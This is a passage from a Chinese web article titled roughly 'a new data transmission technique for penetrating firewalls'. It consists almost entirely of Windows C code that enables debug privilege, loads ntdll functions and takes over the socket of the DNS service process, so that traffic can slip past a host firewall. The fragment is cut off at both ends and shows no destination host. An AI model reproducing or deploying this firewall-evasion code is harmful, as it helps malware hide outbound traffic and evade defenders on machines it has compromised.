一种新的穿透防火墙的数据传输技术

            continue;
        }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );

    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );

    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );

    rv = GetLastError () == ERROR_SUCCESS;

    CloseHandle (hToken);
    return rv;
}

void main()
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;

    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");

    if(!LocateNtdllEntry())
        return;

    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }

    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;

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TAG标签:	技术 防火墙 if NULL return printf // the buf 进程